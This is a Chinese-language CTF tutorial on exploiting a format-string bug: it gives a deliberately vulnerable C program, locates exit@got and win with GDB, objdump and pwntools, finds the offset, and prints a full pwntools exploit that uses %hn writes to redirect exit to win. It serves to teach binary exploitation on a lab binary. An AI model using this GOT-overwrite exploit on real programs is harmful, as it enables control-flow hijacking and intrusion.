上一篇已经学习了如何使用格式化字符串漏洞,通过 %n 修改 GOT。
本篇进行一个更加接近 CTF 的实战题。与前面的练习相比,这道题有几个变化:

  • 不再直接覆盖 puts@got;
  • 程序只有一次输入机会;
  • 程序开启 Canary;
  • 程序使用 Partial RELRO;
  • 目标函数不会被正常调用;
  • 需要覆盖 exit@got,等待程序退出时触发 win;
  • 需要使用 GDB 分析 GOT,而不是只观察栈。
    最终利用链如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
printf(buf)
↓
确定格式化字符串 offset
↓
找到 exit@got
↓
找到 win 地址
↓
使用 %hn 修改 exit@got
↓
程序执行 exit(0)
↓
exit@plt 从 GOT 取到 win
↓
执行 win()
↓
读取 flag

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win(void) {
char flag[128];
FILE *fp = fopen("flag.txt", "r");

if (fp == NULL) {
puts("flag.txt is missing");
_exit(1);
}

puts("Congratulations!");
if (fgets(flag, sizeof(flag), fp) != NULL) {
puts(flag);
}

fclose(fp);
_exit(0);
}

void vuln(void) {
char buf[256];

puts("Input:");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
exit(0);
}

这道题最关键的漏洞是

1
printf(buf);

这里的 buf 直接作为格式字符串传入 printf。用户可以控制 %p、%n、%hn 等格式说明符。
程序在 vuln 返回之后会执行

1
exit(0);

因此,我们不需要覆盖返回地址,也不需要栈溢出。只需要把 exit@got 改成 win,程序调用 exit(0) 时就会跳转到 win。

编译与保护检查

1
2
3
4
5
gcc challenge.c -o fmtstr_challenge \
-fstack-protector-strong \
-fno-pie \
-no-pie \
-Wl,-z,relro,-z,lazy

检查保护

1
checksec ./fmtstr_challenge

结果
image
Canary 主要保护栈上的返回地址。本题没有栈溢出,而是通过 printf 直接获得格式化字符串读写能力,因此 Canary 不会阻止这条利用链。
Partial RELRO 下 GOT 通常仍然可写。Full RELRO 会把 GOT 设置为只读,此时不能再通过 %n 修改 GOT。

确认程序结构

进入 GDB:

1
gdb ./fmtstr_challenge

查看函数:

1
info functions

查看 main:

1
disassemble main

重点寻找:

1
2
3
call vuln
mov edi, 0
call exit@plt

这说明 vuln 返回后确实会执行 exit(0)。
查看 vuln

1
disassemble vuln

image
如果看到用户输入最终被放入 rdi,然后调用 printf@plt,就确认了格式化字符串漏洞。

四、确定 exit@got 地址

在终端执行

1
objdump -R ./fmtstr_challenge | grep exit

可得到
image
本例中的 GOT 地址就是 0x404058。实际地址以你自己的输出为准。
也可以使用

1
readelf -rW ./fmtstr_challenge | grep exit

image
或者使用 pwntools:

1
2
3
4
from pwn import *

elf = ELF('./fmtstr_challenge')
print(hex(elf.got['exit']))

确定 win 地址

使用 pwntools

1
2
3
4
from pwn import *

elf = ELF('./fmtstr_challenge')
print(hex(elf.symbols['win']))

使用 GDB

1
p/x &win

或者使用 nm

1
nm ./fmtstr_challenge | grep win

由于本题关闭了 PIE,win 地址固定。
最终目标是

1
*(exit@got) = win

这里的 exit@got 是 GOT 表项地址,GOT 表项中保存的是实际跳转地址。我们要把 win 的地址写进 GOT 表项,而不是把 GOT 地址写进 win。

确定格式化字符串 offset

运行程序

1
./fmtstr_challenge

输入

1
%p.%p.%p.%p.%p.%p.%p.%p

也可以使用位置参数

1
AAAA.%1$p.%2$p.%3$p.%4$p.%5$p.%6$p.%7$p.%8$p.%9$p.%10$p

如果某个参数中出现 AAAA 的小端表示,就说明输入已经被读取到了该参数位置。
更方便的方式是使用 pwntools 自动确定

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context.binary = './fmtstr_challenge'
context.log_level = 'error'

def exec_fmt(payload):
io = process('./fmtstr_challenge')
io.sendline(payload)
return io.recvall(timeout=1)

autofmt = FmtStr(exec_fmt)
print('offset =', autofmt.offset)

运行

1
python3 find_offset.py

得到的是6

生成利用 payload

完整 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(arch = 'amd64',os = "linux",log_level = "debug")
p = process("./fmtstr_challenge")
elf = ELF("./fmtstr_challenge")
def exec_fmt(payload):
    p = process('./fmtstr_challenge')
    p.sendline(payload)
    return p.recvall(timeout=1)
autofmt = FmtStr(exec_fmt)
print('offset =', autofmt.offset)
offset = 6
payload1 = fmtstr_payload(
    offset,
    {
        elf.got['exit']: elf.symbols['win']
    },
    write_size='short'
)
gdb.attach(p,'''
b *0x401373
''')
p.sendline(payload1)
p.interactive()

成功输出

1
2
Congratulations!
flag{...}

说明 exit@got 已经被改成 win。

为什么使用 write_size short

64 位地址通常是 8 字节。pwntools 会把目标值拆成多个 2 字节部分,使用 %hn 分段写入

1
2
3
4
低 2 字节       → exit@got
中间 2 字节 → exit@got + 2
再后面 2 字节 → exit@got + 4
最高 2 字节 → exit@got + 6

pwntools 会自动计算 padding、写入顺序和目标地址。

调试重点:为什么 call exit@plt 时看不到 win

利用过程中,GDB 可能停在

1
0x401378 <main+48>    call exit@plt

此时查看栈,可能看不到 win 地址,于是误以为 GOT 覆盖失败。
实际上这是正常现象。

栈和 GOT 保存的是不同内容

执行

1
call exit@plt

CPU 会先把 call 执行完后的返回地址压入栈中。因此栈上保存的是

1
exit@plt 执行完以后返回到哪里

真正的跳转目标保存在 GOT

1
2
3
4
5
exit@plt
↓
读取 exit@got
↓
跳转到 exit@got 保存的地址

所以不能期待在 STACK 区域直接看到 win。

正确检查 GOT

exit@got 是 0x404058
当然是在脚本中检查
这样写payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context(arch = 'amd64',os = "linux",log_level = "debug")
p = process("./fmtstr_challenge")
elf = ELF("./fmtstr_challenge")
def exec_fmt(payload):
    p = process('./fmtstr_challenge')
    p.sendline(payload)
    return p.recvall(timeout=1)
autofmt = FmtStr(exec_fmt)
print('offset =', autofmt.offset)
offset = 6
payload1 = fmtstr_payload(
    offset,
    {
        elf.got['exit']: elf.symbols['win']
    },
    write_size='short'
)
gdb.attach(p,'''
b *0x401373
c
''')
p.sendline(payload1)
p.interactive()

我们在call exit前面打断点
image
运行到这里输入

1
2
x/gx 0x404058
p/x &win

可以得到得到
image
说明

1
exit@got = win

覆盖已经成功。

这道题和上一道题的区别

上一道题:

1
2
3
4
5
6
7
printf(buf)
↓
覆盖 puts@got
↓
程序马上调用 puts
↓
进入 win

本题

1
2
3
4
5
6
7
8
9
printf(buf)
↓
覆盖 exit@got
↓
vuln 返回
↓
main 执行 exit(0)
↓
进入 win

本题更容易误判,因为覆盖 GOT 后不会立刻执行 win。必须等程序执行到 call exit@plt,才会触发被修改后的 GOT 表项。

最终总结

完整解题步骤

  1. 使用 checksec 确认 Partial RELRO 和 No PIE;
  2. 通过 printf(buf) 确认格式化字符串漏洞;
  3. 使用 %p 或 FmtStr 找到 offset;
  4. 使用 objdump -R 找到 exit@got;
  5. 使用 nm、pwntools 或 GDB 找到 win;
  6. 用 fmtstr_payload 生成 %hn 写入 payload;
  7. 将 win 写入 exit@got;
  8. 继续执行到 exit@plt;
  9. 通过 GOT 间接跳转到 win;
  10. 读取 flag。
    最重要的调试认识是
1
2
call exit@plt 时,栈上保存的是返回地址;
exit@got 中保存的才是 exit 最终要跳转到的地址。

因此检查 GOT 覆盖是否成功,应使用:

1
2
x/gx EXIT_GOT
p/x &win

而不是期待在栈上直接看到 win 地址。
本题完成后,格式化字符串能力已经从“能泄露”扩展到

1
泄露数据 + 计算地址 + 任意地址写 + 控制流劫持